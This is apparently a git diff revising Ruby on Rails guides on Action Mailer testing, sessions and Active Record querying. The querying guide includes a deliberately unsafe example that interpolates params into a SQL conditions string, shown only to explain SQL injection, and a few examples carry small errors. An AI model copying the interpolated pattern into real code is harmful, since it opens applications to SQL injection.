+<div class="paragraph"><p>Here&#8217;s the content of the <tt>invite</tt> fixture:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>Hi friend@example.com,
@@ -1342,10 +1473,10 @@ You have been invited.
Cheers!</tt></pre>
</div></div>
-<div class="para"><p>This is the right time to understand a little more about writing tests for your mailers. The line <tt>ActionMailer::Base.delivery_method = :test</tt> in <tt>config/environments/test.rb</tt> sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (<tt>ActionMailer::Base.deliveries</tt>).</p></div>
-<div class="para"><p>However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.</p></div>
-<h3 id="_functional_testing">7.3. Functional Testing</h3>
-<div class="para"><p>Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately:</p></div>
+<div class="paragraph"><p>This is the right time to understand a little more about writing tests for your mailers. The line <tt>ActionMailer::Base.delivery_method = :test</tt> in <tt>config/environments/test.rb</tt> sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (<tt>ActionMailer::Base.deliveries</tt>).</p></div>
+<div class="paragraph"><p>However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.</p></div>
+<h3 id="_functional_testing">10.3. Functional Testing</h3>
+<div class="paragraph"><p>Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1364,13 +1495,12 @@ http://www.gnu.org/software/src-highlite -->
assert_equal invite_email<span style="color: #990000">.</span>to<span style="color: #990000">[</span><span style="color: #993399">0</span><span style="color: #990000">],</span> <span style="color: #FF0000">'friend@example.com'</span>
assert_match <span style="color: #FF6600">/Hi friend@example.com/</span><span style="color: #990000">,</span> invite_email<span style="color: #990000">.</span>body
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
-<h2 id="_other_testing_approaches">8. Other Testing Approaches</h2>
+<h2 id="_other_testing_approaches">11. Other Testing Approaches</h2>
<div class="sectionbody">
-<div class="para"><p>The built-in <tt>test/unit</tt> based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>The built-in <tt>test/unit</tt> based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<a href="http://avdi.org/projects/nulldb/">NullDB</a>, a way to speed up testing by avoiding database use.
@@ -1388,15 +1518,15 @@ http://www.gnu.org/software/src-highlite -->
</li>
<li>
<p>
-link: <a href="http://rspec.info/">RSpec</a>, a behavior-driven development framework
+<a href="http://rspec.info/">RSpec</a>, a behavior-driven development framework
</p>
</li>
</ul></div>
</div>
-<h2 id="_changelog">9. Changelog</h2>
+<h2 id="_changelog">12. Changelog</h2>
<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/8">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/8">Lighthouse ticket</a></p></div>
+<div class="ulist"><ul>
<li>
<p>
November 13, 2008: Revised based on feedback from Pratik Naik by <a href="../authors.html#asurve">Akshay Surve</a> (not yet approved for publication)
@@ -1415,7 +1545,7 @@ October 12, 2008: First draft by <a href="../authors.html#asurve">Akshay Surve</
</ul></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/source/action_mailer_basics.txt b/railties/doc/guides/source/action_mailer_basics.txt
new file mode 100644
index 0000000000..c6cd16f10b
--- /dev/null
+++ b/railties/doc/guides/source/action_mailer_basics.txt
@@ -0,0 +1,133 @@
+Action Mailer Basics
+====================
+
+This guide should provide you with all you need to get started in sending emails from your application, and will also cover how to test your mailers.
+
+== What is Action Mailer?
+Action Mailer allows you to send email from your application using a mailer model and views.
+Yes, that is correct, in Rails, emails are used by creating Models that inherit from ActionMailer::Base. They live alongside other models in /app/models BUT they have views just like controllers that appear alongside other views in app/views.
+
+== Quick walkthrough to creating a Mailer
+Let's say you want to send a welcome email to a user after they signup. Here is how you would go about this:
+
+=== 1. Create the mailer:
+[source, shell]
+-------------------------------------------------------
+./script/generate mailer UserMailer
+exists app/models/
+create app/views/user_mailer
+exists test/unit/
+create test/fixtures/user_mailer
+create app/models/user_mailer.rb
+create test/unit/user_mailer_test.rb
+-------------------------------------------------------
+
+So we got the model, the fixtures, and the tests all created for us
+
+=== 2. Edit the model:
+[source, ruby]
+-------------------------------------------------------
+class UserMailer < ActionMailer::Base
+
+end
+-------------------------------------------------------
+
+Lets add a method called welcome_email, that will send an email to the user's registered email address:
+
+[source, ruby]
+-------------------------------------------------------
+class UserMailer < ActionMailer::Base
+
+ def welcome_email(user)
+ recipients user.email
+ from "My Awesome Site Notifications<notifications@example.com>"
+ subject "Welcome to My Awesome Site"
+ sent_on Time.now
+ body {:user => user, :url => "http://example.com/login"}
+ content_type "text/html"
+ end
+
+end
+-------------------------------------------------------
+
+So what do we have here?
+recipients: who the recipients are, put in an array for multiple, ie, @recipients = ["user1@example.com", "user2@example.com"]
+from: Who the email will appear to come from in the recipients' mailbox
+subject: The subject of the email
+sent_on: Timestamp for the email
+content_type: The content type, by default is text/plain
+
+How about @body[:user]? Well anything you put in the @body hash will appear in the mailer view (more about mailer views below) as an instance variable ready for you to use, ie, in our example the mailer view will have a @user instance variable available for its consumption.
+
+=== 3. Create the mailer view
+Create a file called welcome_email.html.erb in #{RAILS_ROOT}/app/views/user_mailer/ . This will be the template used for the email. This file will be used for html formatted emails. Had we wanted to send text-only emails, the file would have been called welcome_email.txt.erb, and we would have set the content type to text/plain in the mailer model.
+
+The file can look like:
+[source, html]
+-------------------------------------------------------
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+ <head>
+ <meta content='text/html; charset=iso-8859-1' http-equiv='Content-Type' />
+ </head>
+ <body>
+ <h1>Welcome to example.com, <%= @user.first_name %></h1>
+
+ <p>
+ You have successfully signed up to example.com, and your username is: <%= @user.login %>.<br/>
+ To login to the site, just follow this link: <%= @url %>.
+ </p>
+ <p>Thanks for joining and have a great day!</p>
+ </body>
+</html>
+-------------------------------------------------------
+
+=== 4. Wire it up so that the system sends the email when a user signs up
+There are 3 was to achieve this. One is to send the email from the controller that sends the email, another is to put it in a before_create block in the user model, and the last one is to use an observer on the user model. Whether you use the second or third methods is up to you, but staying away from the first is recommended. Not because it's wrong, but because it keeps your controller clean, and keeps all logic related to the user model within the user model. This way, whichever way a user is created (from a web form, or from an API call, for example), we are guaranteed that the email will be sent.
+
+Edit #{RAILS_ROOT}/config/environment.rb
+[source, ruby]
+-------------------------------------------------------
+# Code that already exists
+
+Rails::Initializer.run do |config|
+
+ # Code that already exists
+
+ config.active_record.observers = :user_observer
+
+end
+-------------------------------------------------------
+
+There was a bit of a debate on where to put observers. I put them in models, but you can create #{RAILS_ROOT}/app/observers if you like, and add that to your load path. Open #{RAILS_ROOT}/config/environment.rb and make it look like:
+[source, ruby]
+-------------------------------------------------------
+# Code that already exists
+
+Rails::Initializer.run do |config|
+
+ # Code that already exists
+
+ config.load_paths += %W(#{RAILS_ROOT}/app/observers)
+
+ config.active_record.observers = :user_observer
+
+end
+-------------------------------------------------------
+
+ALMOST THERE :) Now all we need is that danged observer, and we're done:
+Create a file called user_observer in #{RAILS_ROOT}/app/models or #{RAILS_ROOT}/app/observers, and make it look like:
+[source, ruby]
+-------------------------------------------------------
+class UserObserver < ActiveRecord::Observer
+ def after_create(user)
+ UserMailer.deliver_welcome_email(user)
+ end
+end
+-------------------------------------------------------
+
+Notice how we call deliver_welcome_email? Where is that method? Well if you remember, we created a method called welcome_email in UserMailer, right? Well, as part of the "magic" of rails, we deliver the email identified by welcome_email by calling deliver_welcome_email.
+
+That's it! Now whenever your users signup, they will be greeted with a nice welcome email. Next up, we'll talk about how to test a mailer model.
+
+== Mailer Testing \ No newline at end of file
diff --git a/railties/doc/guides/source/actioncontroller_basics/session.txt b/railties/doc/guides/source/actioncontroller_basics/session.txt
index ae5f876777..24818fcb2d 100644
--- a/railties/doc/guides/source/actioncontroller_basics/session.txt
+++ b/railties/doc/guides/source/actioncontroller_basics/session.txt
@@ -21,42 +21,11 @@ If you need a different session storage mechanism, you can change it in the `con
config.action_controller.session_store = :active_record_store
------------------------------------------
-=== Disabling the Session ===
-
-Sometimes you don't need a session. In this case, you can turn it off to avoid the unnecessary overhead. To do this, use the `session` class method in your controller:
-
-[source, ruby]
-------------------------------------------
-class ApplicationController < ActionController::Base
- session :off
-end
-------------------------------------------
-
-You can also turn the session on or off for a single controller:
-
-[source, ruby]
-------------------------------------------
-# The session is turned off by default in ApplicationController, but we
-# want to turn it on for log in/out.
-class LoginsController < ActionController::Base
- session :on
-end
-------------------------------------------
-
-Or even for specified actions:
-
-[source, ruby]
-------------------------------------------
-class ProductsController < ActionController::Base
- session :on, :only => [:create, :update]
-end
-------------------------------------------
-
=== Accessing the Session ===
In your controller you can access the session through the `session` instance method.
-NOTE: There are two `session` methods, the class and the instance method. The class method which is described above is used to turn the session on and off while the instance method described below is used to access session values.
+NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
Session values are stored using key/value pairs like a hash:
diff --git a/railties/doc/guides/source/active_record_basics.txt b/railties/doc/guides/source/active_record_basics.txt
index 892adb2d43..367a1bba5e 100644
--- a/railties/doc/guides/source/active_record_basics.txt
+++ b/railties/doc/guides/source/active_record_basics.txt
@@ -151,31 +151,4 @@ Rails has a reputation of being a zero-config framework which means that it aim
== ActiveRecord handling the CRUD of your Rails application - Understanding the life-cycle of an ActiveRecord
== Validations & Callbacks
-- Validations
- * create!
- * validates_acceptance_of
- * validates_associated
- * validates_confirmation_of
- * validates_each
- * validates_exclusion_of
- * validates_format_of
- * validates_inclusion_of
- * validates_length_of
- * validates_numericality_of
- * validates_presence_of
- * validates_size_of
- * validates_uniqueness_of
- - Callback
- * (-) save
- * (-) valid
- * (1) before_validation
- * (2) before_validation_on_create
- * (-) validate
- * (-) validate_on_create
- * (3) after_validation
- * (4) after_validation_on_create
- * (5) before_save
- * (6) before_create
- * (-) create
- * (7) after_create
- * (8) after_save
+see the Validations & Callbacks guide for more info. \ No newline at end of file
diff --git a/railties/doc/guides/source/finders.txt b/railties/doc/guides/source/active_record_querying.txt
index d2bd55ada7..c0aa5482d5 100644
--- a/railties/doc/guides/source/finders.txt
+++ b/railties/doc/guides/source/active_record_querying.txt
@@ -1,23 +1,19 @@
-Rails Finders
-=============
+Active Record Query Interface
+=============================
-This guide covers the +find+ method defined in +ActiveRecord::Base+, as well as other ways of finding particular instances of your models. By using this guide, you will be able to:
+This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:
* Find records using a variety of methods and conditions
* Specify the order, retrieved attributes, grouping, and other properties of the found records
-* Use eager loading to cut down on the number of database queries in your application
-* Use dynamic finders
+* Use eager loading to reduce the number of database queries needed for data retrieval
+* Use dynamic finders methods
* Create named scopes to add custom finding behavior to your models
* Check for the existence of particular records
-* Perform aggregate calculations on Active Record models
+* Perform various calculations on Active Record models
-If you're used to using raw SQL to find database records, you'll find that there are generally better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
+If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
-The SQL in your log may have some quoting, and that quoting depends on the backend (MySQL, for example, puts backticks around field and table names). Attempting to copy the raw SQL contained within this guide may not work in your database system. Please consult the database systems manual before attempting to execute any SQL.
-
-== The Sample Models
-
-This guide demonstrates finding using the following models:
+Code examples throughout this guide will refer to one or more of the following models:
[source,ruby]
-------------------------------------------------------
@@ -26,35 +22,47 @@ class Client < ActiveRecord::Base
has_one :mailing_address
has_many :orders
has_and_belongs_to_many :roles
-end
+end
+-------------------------------------------------------
+[source,ruby]
+-------------------------------------------------------
class Address < ActiveRecord::Base
belongs_to :client
end
+-------------------------------------------------------
+[source,ruby]
+-------------------------------------------------------
class MailingAddress < Address
end
+-------------------------------------------------------
+[source,ruby]
+-------------------------------------------------------
class Order < ActiveRecord::Base
belongs_to :client, :counter_cache => true
end
+-------------------------------------------------------
+[source,ruby]
+-------------------------------------------------------
class Role < ActiveRecord::Base
has_and_belongs_to_many :clients
end
-------------------------------------------------------
-== Database Agnostic
-
-Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
+****
+Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
+****
-== IDs, First, Last and All
+== Retrieving objects
-+ActiveRecord::Base+ has methods defined on it to make interacting with your database and the tables within it much, much easier. For finding records, the key method is +find+. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type +Client.find(1)+ which would execute this query on your database:
+To retrieve objects from the database, Active Record provides a primary method called +find+. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type +Client.find(1)+ which would execute this query on your database:
[source, sql]
-------------------------------------------------------
-SELECT * FROM clients WHERE (clients.id = 1)
+SELECT * FROM clients WHERE (clients.id = 1)
-------------------------------------------------------
NOTE: Because this is a standard table created from a migration in Rails, the primary key is defaulted to 'id'. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column.
@@ -63,26 +71,26 @@ If you wanted to find clients with id 1 or 2, you call +Client.find([1,2])+ or +
[source, sql]
-------------------------------------------------------
-SELECT * FROM clients WHERE (clients.id IN (1,2))
+SELECT * FROM clients WHERE (clients.id IN (1,2))
-------------------------------------------------------
-------------------------------------------------------
>> Client.find(1,2)
-=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
- created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">,
- #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
+=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
+ created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">,
+ #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]
-------------------------------------------------------
-Note that if you pass in a list of numbers that the result will be returned as an array, not as a single +Client+ object.
+Note that if you pass in a list of numbers that the result will be returned as an array, not as a single Client object.
-NOTE: If +find(id)+ or +find([id1, id2])+ fails to find any records, it will raise a +RecordNotFound+ exception.
+NOTE: If +find(id)+ or +find([id1, id2])+ fails to find any records, it will raise a RecordNotFound exception.
If you wanted to find the first Client object you would simply type +Client.first+ and that would find the first client in your clients table:
-------------------------------------------------------
>> Client.first
-=> #<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
+=> #<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">
-------------------------------------------------------
@@ -93,13 +101,13 @@ If you were reading your log file (the default is log/development.log) you may s
SELECT * FROM clients LIMIT 1
-------------------------------------------------------
-Indicating the query that Rails has performed on your database.
+Indicating the query that Rails has performed on your database.
To find the last Client object you would simply type +Client.last+ and that would find the last client created in your clients table:
-------------------------------------------------------
>> Client.last
-=> #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
+=> #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">
-------------------------------------------------------
@@ -121,11 +129,11 @@ To find all the Client objects you would simply type +Client.all+ and that would
-------------------------------------------------------
>> Client.all
-=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
- created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">,
- #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
+=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2,
+ created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">,
+ #<Client id: 2, name: => "Michael", locked: false, orders_count: 3,
created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]
--------------------------------------------------------
+-------------------------------------------------------
You may see in Rails code that there are calls to methods such as +Client.find(:all)+, +Client.find(:first)+ and +Client.find(:last)+. These methods are just alternatives to +Client.all+, +Client.first+ and +Client.last+ respectively.
@@ -143,7 +151,7 @@ WARNING: Building your own conditions as pure strings can leave you vulnerable t
=== Array Conditions ===
-Now what if that number could vary, say as a parameter from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like +Client.first(:conditions => ["orders_count = ?", params[:orders]])+. Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like +Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false])+. In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with +false+ and this will find the first record in the table that has '2' as its value for the +orders_count+ field and +false+ for its locked field.
+Now what if that number could vary, say as a argument from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like +Client.first(:conditions => ["orders_count = ?", params[:orders]])+. Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like +Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false])+. In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter.
The reason for doing code like:
@@ -159,7 +167,7 @@ instead of:
Client.first(:conditions => "orders_count = #{params[:orders]}")
-------------------------------------------------------
-is because of parameter safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your parameters directly inside the conditions string.
+is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
TIP: For more information on the dangers of SQL injection, see the link:../security.html#_sql_injection[Ruby on Rails Security Guide].
@@ -175,28 +183,28 @@ This would generate the proper query which is great for small ranges but not so
[source, sql]
-------------------------------------------------------
-SELECT * FROM users WHERE (created_at IN
+SELECT * FROM users WHERE (created_at IN
('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05',
'2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11',
'2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17',
'2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',...
‘2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20',
'2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26',
- '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31'))
+ '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31'))
-------------------------------------------------------
Things can get *really* messy if you pass in Time objects as it will attempt to compare your field to *every second* in that range:
[source, ruby]
-------------------------------------------------------
-Client.all(:conditions => ["created_at IN (?)",
+Client.all(:conditions => ["created_at IN (?)",
(params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time)])
-------------------------------------------------------
[source, sql]
-------------------------------------------------------
-SELECT * FROM users WHERE (created_at IN
- ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ...
+SELECT * FROM users WHERE (created_at IN
+ ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ...
'2007-12-01 23:59:59', '2007-12-02 00:00:00'))
-------------------------------------------------------
@@ -212,7 +220,7 @@ In this example it would be better to use greater-than and less-than operators i
[source, ruby]
-------------------------------------------------------
-Client.all(:conditions =>
+Client.all(:conditions =>
["created_at > ? AND created_at < ?", params[:start_date], params[:end_date]])
-------------------------------------------------------
@@ -220,7 +228,7 @@ You can also use the greater-than-or-equal-to and less-than-or-equal-to like thi
[source, ruby]
-------------------------------------------------------
-Client.all(:conditions =>
+Client.all(:conditions =>
["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]])
-------------------------------------------------------
@@ -232,7 +240,7 @@ Similar to the array style of params you can also specify keys in your condition
[source, ruby]
-------------------------------------------------------
-Client.all(:conditions =>
+Client.all(:conditions =>
["created_at >= :start_date AND created_at <= :end_date", { :start_date => params[:start_date], :end_date => params[:end_date] }])
-------------------------------------------------------
@@ -240,7 +248,7 @@ This makes for clearer readability if you have a large number of variable condit
=== Hash Conditions
-Rails also allows you to pass in a hash conditions too which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:
+Rails also allows you to pass in a hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:
[source, ruby]
-------------------------------------------------------
@@ -258,27 +266,63 @@ The good thing about this is that we can pass in a range for our fields without
[source, ruby]
-------------------------------------------------------
-Client.all(:conditions => { :created_at => ((Time.now.midnight - 1.day)..Time.now.midnight})
+Client.all(:conditions => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight})
+-------------------------------------------------------
+
+This will find all clients created yesterday by using a BETWEEN sql statement:
+
+[source, sql]
+-------------------------------------------------------
+SELECT * FROM `clients` WHERE (`clients`.`created_at` BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
-------------------------------------------------------
-This will find all clients created yesterday. This shows the shorter syntax for the examples in <<_array_conditions, Array Conditions>>
+This demonstrates a shorter syntax for the examples in <<_array_conditions, Array Conditions>>
You can also join in tables and specify their columns in the hash:
[source, ruby]
-------------------------------------------------------
-Client.all(:include => "orders", :conditions => { 'orders.created_at; => ((Time.now.midnight - 1.day)..Time.now.midnight})
+Client.all(:include => "orders", :conditions => { 'orders.created_at' => (Time.now.midnight - 1.day)..Time.now.midnight })
+-------------------------------------------------------
+
+An alternative and cleaner syntax to this is:
+
+[source, ruby]
+-------------------------------------------------------
+Client.all(:include => "orders", :conditions => { :orders => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight } })
-------------------------------------------------------
-This will find all clients who have orders that were created yesterday.
+This will find all clients who have orders that were created yesterday, again using a BETWEEN expression.
+
+If you want to find records using the IN expression you can pass an array to the conditions hash:
+
+[source, ruby]
+-------------------------------------------------------
+Client.all(:include => "orders", :conditions => { :orders_count => [1,3,5] }
+-------------------------------------------------------
+
+This code will generate SQL like this:
+
+[source, sql]
+-------------------------------------------------------
+SELECT * FROM `clients` WHERE (`clients`.`orders_count` IN (1,2,3))
+-------------------------------------------------------
== Ordering
-If you're getting a set of records and want to force an order, you can use +Client.all(:order => "created_at")+ which by default will sort the records by ascending order. If you'd like to order it in descending order, just tell it to do that using +Client.all(:order => "created_at desc")+
+If you're getting a set of records and want to order them in ascending order by the +created_at+ field in your table, you can use +Client.all(:order => "created_at")+. If you'd like to order it in descending order, just tell it to do that using +Client.all(:order => "created_at desc")+. The value for this option is passed in as sanitized SQL and allows you to sort via multiple fields: +Client.all(:order => "created_at desc, orders_count asc")+.
== Selecting Certain Fields
-To select certain fields, you can use the select option like this: +Client.first(:select => "viewable_by, locked")+. This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute +SELECT viewable_by, locked FROM clients LIMIT 0,1+ on your database.
+To select certain fields, you can use the select option like this: +Client.first(:select => "viewable_by, locked")+. This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute +SELECT viewable_by, locked FROM clients LIMIT 1+ on your database.
+
+Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
+
+-------------------------------------------------------
+ActiveRecord::MissingAttributeError: missing attribute: <attribute>
+-------------------------------------------------------
+
+Where <attribute> is the atrribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly.
You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the +DISTINCT+ function you can do it like this: +Client.all(:select => "DISTINCT(name)")+.
@@ -319,7 +363,7 @@ The group option for find is useful, for example, if you want to find a collecti
Order.all(:group => "date(created_at)", :order => "created_at")
-------------------------------------------------------
-And this will give you a single +Order+ object for each date where there are orders in the database.
+And this will give you a single +Order+ object for each date where there are orders in the database.
The SQL that would be executed would be something like this:
@@ -328,16 +372,29 @@ The SQL that would be executed would be something like this:
SELECT * FROM orders GROUP BY date(created_at)
-------------------------------------------------------
+== Having
+
+The +:having+ option allows you to specify SQL and acts as a kind of a filter on the group option. +:having+ can only be specified when +:group+ is specified.
+
+An example of using it would be:
+
+[source, ruby]
+-------------------------------------------------------
+Order.all(:group => "date(created_at)", :having => ["created_at > ?", 1.month.ago])
+-------------------------------------------------------
+
+This will return single order objects for each day, but only for the last month.
+
== Read Only
-Readonly is a find option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an +Active Record::ReadOnlyRecord+ exception. To set this option, specify it like this:
++readonly+ is a +find+ option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an ActiveRecord::ReadOnlyRecord exception. To set this option, specify it like this:
[source, ruby]
-------------------------------------------------------
Client.first(:readonly => true)
-------------------------------------------------------
-If you assign this record to a variable +client+, calling the following code will raise an +ActiveRecord::ReadOnlyRecord+ exception:
+If you assign this record to a variable client, calling the following code will raise an ActiveRecord::ReadOnlyRecord exception:
[source, ruby]
-------------------------------------------------------
@@ -358,31 +415,42 @@ Topic.transaction do
end
-------------------------------------------------------
+You can also pass SQL to this option to allow different types of locks. For example, MySQL has an expression called LOCK IN SHARE MODE where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
+
+[source, ruby]
+-------------------------------------------------------
+Topic.transaction do
+ t = Topic.find(params[:id], :lock => "LOCK IN SHARE MODE")
+ t.increment!(:views)
+end
+-------------------------------------------------------
+
== Making It All Work Together
-You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the find statement Active Record will use the latter.
+You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the +find+ method Active Record will use the last one you specified. This is because the options passed to find are a hash and defining the same key twice in a hash will result in the last definition being used.
== Eager Loading
-Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use +Client.all(:include => :address)+. If you wanted to include both the address and mailing address for the client you would use +Client.find(:all, :include => [:address, :mailing_address]). Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this:
+Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use +Client.all(:include => :address)+. If you wanted to include both the address and mailing address for the client you would use +Client.find(:all, :include => [:address, :mailing_address])+. Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this:
[source, sql]
-------------------------------------------------------
-Client Load (0.000383) SELECT * FROM clients
-Address Load (0.119770) SELECT addresses.* FROM addresses
- WHERE (addresses.client_id IN (13,14))
-MailingAddress Load (0.001985) SELECT mailing_addresses.* FROM
+Client Load (0.000383) SELECT * FROM clients
+Address Load (0.119770) SELECT addresses.* FROM addresses
+ WHERE (addresses.client_id IN (13,14))
+MailingAddress Load (0.001985) SELECT mailing_addresses.* FROM
mailing_addresses WHERE (mailing_addresses.client_id IN (13,14))
-------------------------------------------------------
-The numbers +13+ and +14+ in the above SQL are the ids of the clients gathered from the +Client.all+ query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called +address+ or +mailing_address+ on one of the objects in the clients array, which may lead to performance issues if you're loading a large number of records at once.
+The numbers +13+ and +14+ in the above SQL are the ids of the clients gathered from the +Client.all+ query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called +address+ or +mailing_address+ on one of the objects in the clients array, which may lead to performance issues if you're loading a large number of records at once and is often called the "N+1 query problem". The problem is that the more queries your server has to execute, the slower it will run.
-If you wanted to get all the addresses for a client in the same query you would do +Client.all(:joins => :address)+ and you wanted to find the address and mailing address for that client you would do +Client.all(:joins => [:address, :mailing_address])+. This is more efficient because it does all the SQL in one query, as shown by this example:
+If you wanted to get all the addresses for a client in the same query you would do +Client.all(:joins => :address)+.
+If you wanted to find the address and mailing address for that client you would do +Client.all(:joins => [:address, :mailing_address])+. This is more efficient because it does all the SQL in one query, as shown by this example:
[source, sql]
-------------------------------------------------------
